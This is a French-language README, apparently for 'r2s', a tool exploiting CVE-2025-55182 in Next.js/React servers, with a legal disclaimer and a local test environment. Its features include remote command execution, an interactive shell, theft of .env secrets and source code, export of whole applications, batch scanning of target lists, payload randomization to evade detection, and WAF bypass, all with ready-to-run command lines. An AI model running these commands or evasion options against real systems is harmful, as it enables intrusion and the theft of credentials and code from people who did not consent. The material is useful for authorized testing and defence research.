---

## ⚠️ Avis de non-responsabilité légal

**IMPORTANT : LISEZ CECI AVANT D'UTILISER CET OUTIL**

1. **Cet outil est destiné UNIQUEMENT aux tests de sécurité LÉGITIMES**
   - ✅ Testez vos propres applications
   - ✅ Testez les applications pour lesquelles vous avez une autorisation écrite
   - ✅ Fins éducatives et recherche en sécurité
   - ❌ **NE JAMAIS utiliser sur des systèmes que vous ne possédez pas ou sans autorisation**
   - ❌ **NE JAMAIS utiliser à des fins malveillantes**

2. **En utilisant cet outil, vous acceptez que :**
   - Vous ne l'utiliserez que sur des systèmes que vous possédez ou pour lesquels vous avez une autorisation écrite explicite
   - Vous comprenez que l'accès non autorisé à des systèmes informatiques est illégal
   - Vous assumez l'entière responsabilité de vos actions
   - Les auteurs ne sont pas responsables d'une quelconque utilisation abusive de cet outil

3. **Conséquences légales :**
   - L'accès non autorisé à des systèmes informatiques est un crime dans la plupart des pays
   - Vous pourriez faire face à des poursuites pénales, des amendes et une peine d'emprisonnement
   - Obtenez toujours une autorisation écrite avant de tester

4. **Cet outil est fourni « EN L'ÉTAT » sans garantie d'aucune sorte**

**Si vous avez moins de 18 ans, assurez-vous d'avoir une supervision adulte et une autorisation avant d'utiliser cet outil.**

---

## ✨ Fonctionnalités

### Capacités principales
- 🔍 **Détection de vulnérabilités** - Testez rapidement si un serveur est vulnérable à CVE-2025-55182
- 💻 **Shell interactif** - Session shell interactive complète via HTTPS avec historique des commandes
- 📁 **Opérations sur les fichiers** - Liste des répertoires, lecture de fichiers et exportation de fichiers/archives
- 🔐 **Extraction de secrets** - Tente de lire les secrets d'application (fichiers .env, fichiers de configuration)
- 📄 **Extraction de code** - Tente de lire le code source de l'application
- 🖥️ **Informations système** - Récupère les informations sur l'OS, le nom d'hôte, l'utilisateur et les variables d'environnement

### Fonctionnalités avancées
- 🚀 **Auto-Warming Payloads** - Optimise automatiquement les charges utiles pour de meilleurs résultats
- ⚡ **Exécution parallèle** - Exécutez plusieurs commandes simultanément
- 🎲 **Randomisation des charges utiles** - Évitez la détection avec des charges utiles dynamiques
- 🛠️ **Modules d'exploitation** - Système de modules de style Metasploit (env_dump, file_search, network_scan, process_list)
- 🔄 **Gestion des redirections** - Suit automatiquement les redirections HTTP (301, 302, 303, 307, 308)
- 🎨 **Interface utilisateur élégante** - Sortie codée en couleur pour une lecture facile
- 📊 **Rapports complets** - Enregistrement automatique des rapports aux formats JSON, HTML, TXT avec des formateurs spécifiques aux opérations
- ⚙️ **Système de configuration** - Configuration basée sur JSON avec panneau de paramètres interactif
- 📦 **Fonction d'exportation** - Exportez des fichiers individuels ou des répertoires entiers d'applications sous forme d'archives zip
- 🔒 **Contournement WAF** - Multiples techniques de contournement (⚠️ Non garanti - voir limitations ci-dessous)

### Rapports et journalisation
- 📝 **Enregistrement automatique des rapports** - Enregistre automatiquement les rapports dans `~/.r2s/reports/` avec des horodatages lisibles
- 📋 **Formats spécifiques aux opérations** - Différents formats de rapport pour différentes opérations (shell, test, secrets, etc.)
- 📜 **Historique des commandes** - Historique persistant des commandes sauvegardé dans `~/.r2s/history`
- 🔍 **Pistes d'audit** - Journalisation détaillée de toutes les opérations dans `~/.r2s/logs/audit.log`
- 🎨 **Rapports HTML** - Beaux rapports HTML avec mode sombre/clair, boutons de copie et blocs de code

---

## 📦 Installation

### Option 1 : Compilation à partir des sources (Recommandée)

1. **Clonez le dépôt :**   ```bash
   git clone https://github.com/zamdevio/r2s.git
   cd r2s

---

## 🚀 Démarrage rapide

### Test de vulnérabilité de base```bash
# Test if a server is vulnerable
r2s -u http://localhost:3000 -t

# With verbose output for more details
r2s -u http://localhost:3000 -t -v

### Tester localement

Voir [`nextjs/README.md`](https://github.com/zamdevio/r2s/blob/HEAD/nextjs/README.md) pour les instructions pour exécuter l'application vulnérable localement.

---

## 📚 Exemples d'utilisation

### Référence rapide des commandes

**Commandes les plus courantes :**
- `r2s -u URL -t` - Test de vulnérabilité (le plus courant)
- `r2s -u URL --shell` - Démarrer le shell interactif
- `r2s --targets FILE -t` - Analyse par lots de plusieurs cibles
- `r2s -u URL --system-info` - Obtenir les informations système
- `r2s -u URL --secrets` - Tenter de lire les secrets
- `r2s -u URL --export-archive` - Exporter toute l'application en zip

**⚠️ Rappel** : N'utilisez pas `--windows` sauf si la cible est Windows !

---

### Opérations de base```bash
# Test vulnerability
r2s -u http://localhost:3000 -t

# List directory contents
r2s -u http://localhost:3000 --list-dir /app

# Read files
r2s -u http://localhost:3000 --read-file .env
r2s -u http://localhost:3000 --read-file package.json

# Get system information
r2s -u http://localhost:3000 --system-info

# Execute custom commands
r2s -u http://localhost:3000 --command "whoami"
r2s -u http://localhost:3000 --command "uname -a"

### Modules d'exploitation```bash
# List available modules
r2s --list-modules

# Use a module
r2s -u http://localhost:3000 --module env_dump

# Use module with options
r2s -u http://localhost:3000 --module file_search --set pattern="*.env" --set path="/app"

# Get module information
r2s --module-info env_dump

### Secrets et extraction de code```bash
# Attempt to read application secrets
r2s -u http://localhost:3000 --secrets
# Tries: .env, .env.local, .env.production, config.json, etc.

# Attempt to read application source code
r2s -u http://localhost:3000 --code
# Tries: src/**/*.ts, src/**/*.tsx, src/**/*.js, etc.

### Options avancées```bash
# Parallel execution (run multiple commands simultaneously)
r2s -u http://localhost:3000 --parallel 5 --command "whoami;id;uname -a"

# WAF bypass (⚠️ Not guaranteed - see limitations below)
r2s -u http://localhost:3000 -t --waf-bypass

# Auto-warm payloads (optimize payloads before execution)
r2s -u http://localhost:3000 -t --auto-warm

# Randomize payloads (evade static detection)
r2s -u http://localhost:3000 --command "whoami" --randomize

# Different header strategies
r2s -u http://localhost:3000 -t --header-strategy chrome_latest
# Options: default, chrome_latest, firefox, minimal, assetnote

# Custom timeout (0 = no timeout)
r2s -u http://localhost:3000 --command "long-running-command" --timeout 0

# Disable SSL verification
r2s -u https://target.com -t --insecure

# Rate limiting (requests per second)
r2s -u http://localhost:3000 -t --rate 2

# Delay between requests (seconds)
r2s -u http://localhost:3000 --command "whoami" --delay 1

### Journalisation & Audit```bash
# Log all operations to specific file
r2s -u http://localhost:3000 -t --log r2s_session.log

# Create detailed audit trail (saved to ~/.r2s/logs/audit.log)
r2s -u http://localhost:3000 -t --audit

# Combine logging with batch scanning
r2s --targets targets.txt --batch -t --log batch_scan.log --audit

### Rapports```bash
# Reports are auto-saved to ~/.r2s/reports/ by default
# Format: {operation}_{YYYYMMDD_HHMMSS}.{json,html,txt}

# Disable auto-save
r2s -u http://localhost:3000 -t --no-report

# Save to specific location (disables auto-save)
r2s -u http://localhost:3000 -t --output /path/to/report.json

# View reports
ls ~/.r2s/reports/
cat ~/.r2s/reports/test_20251206_120000.html

### 2. Audit de sécurité```bash
# Comprehensive security check
r2s -u http://localhost:3000 -t --waf-bypass
r2s -u http://localhost:3000 --system-info
r2s -u http://localhost:3000 --secrets
r2s -u http://localhost:3000 --code
r2s -u http://localhost:3000 --export-archive

Voir [`nextjs/README.md`](https://github.com/zamdevio/r2s/blob/HEAD/nextjs/README.md) pour des instructions détaillées.

---

## 🏗️ Architecture

R2S utilise une architecture modulaire pour la maintenabilité et l'extensibilité :```
react2shell/
├── main.py              # Main entry point
├── classes/             # Core classes
│   ├── detector.py     # Target detection
│   ├── executor.py     # Command execution
│   ├── modules.py      # Exploit modules system
│   ├── operations.py   # High-level operations
│   ├── payload.py      # Payload building and randomization
│   └── shell.py        # Interactive shell
├── services/            # Services
│   ├── config.py       # Configuration management (JSON)
│   ├── exporter.py     # File and archive export
│   ├── formatters.py   # Report formatters
│   ├── history.py      # Command history
│   ├── logger.py       # Logging and audit trails
│   ├── proxy.py        # Proxy management
│   └── reporter.py     # Report generation
└── utils/              # Utilities
    ├── colors.py       # Color utilities
    └── helpers.py      # Helper functions

### "Erreur de connexion"
- Vérifiez si le serveur est en cours d'exécution
- Vérifiez que l'URL est correcte
- Vérifiez les paramètres du pare-feu
- Essayez d'augmenter le délai d'attente : `--timeout 30`

### "Requête bloquée"```bash
# Try WAF bypass (⚠️ Not guaranteed - see WAF Bypass Limitations below)
r2s -u https://target.com -t --waf-bypass

# Try different header strategies
r2s -u https://target.com -t --header-strategy chrome_latest
r2s -u https://target.com -t --header-strategy firefox

### Limites du contournement WAF

**⚠️ Important :** Les techniques de contournement WAF de cet outil ne sont **PAS garanties** de fonctionner et présentent plusieurs limitations :

- **Non universel** : Différents WAF utilisent différentes méthodes de détection. Ce qui fonctionne pour l'un peut ne pas fonctionner pour un autre.
- **Détection statique** : Certains WAF utilisent une correspondance de motifs statique qui peut être contournée, mais les WAF modernes utilisent l'analyse comportementale.
- **Limitation de débit** : De nombreux WAF implémentent une limitation de débit qui peut bloquer les tentatives répétées.
- **Apprentissage automatique** : Les WAF avancés utilisent des modèles de ML qui s'adaptent et apprennent des schémas d'attaque.
- **Cloudflare/AWS WAF** : Les WAF de niveau entreprise (Cloudflare, AWS WAF, etc.) sont extrêmement difficiles à contourner.
- **Aucune garantie** : Les techniques de contournement sont expérimentales et peuvent échouer face à des WAF bien configurés.

**Bonnes pratiques :**
- Utilisez le contournement WAF en dernier recours
- Essayez différentes stratégies d'en-tête (`--header-strategy`)
- Combinez avec `--randomize` pour de meilleurs résultats
- Comprenez que certaines cibles peuvent être impossibles à contourner
- Testez toujours sur des systèmes que vous possédez ou pour lesquels vous avez l'autorisation de tester

### Problèmes de compilation```bash
# Make sure Python 3.7+ is installed
python3 --version

# Install dependencies
pip install -r requirements.txt

# Clean previous build artifacts
./build.sh cleanup

# Try building again
./build.sh

Cela supprimera :
- `build/` directory (fichiers de compilation PyInstaller)
- `dist/` directory (binaires compilés)
- `__pycache__/` directories (cache Python, récursivement)
- `*.pyc` files (bytecode Python compilé)
- `*.pyo` files (bytecode Python optimisé)
- `*.spec` files (fichiers de spécification PyInstaller)

**Remarque :** Cela ne supprime que les artefacts de compilation, pas votre code source. Le nettoyage est sûr et demandera une confirmation avant de procéder.

---

## 📁 Structure des fichiers```
r2s/
├── README.md                 # This file
├── LICENSE                   # MIT License
├── requirements.txt          # Python dependencies
├── build.sh                  # Build script for standalone binary
├── r2s_entry.py              # PyInstaller entry point
├── react2shell/              # Main package
│   ├── README.md            # Architecture documentation
│   ├── main.py              # Entry point
│   ├── classes/             # Core classes
│   ├── services/            # Services
│   └── utils/               # Utilities
└── nextjs/                   # Testing environment
    └── README.md            # Testing environment documentation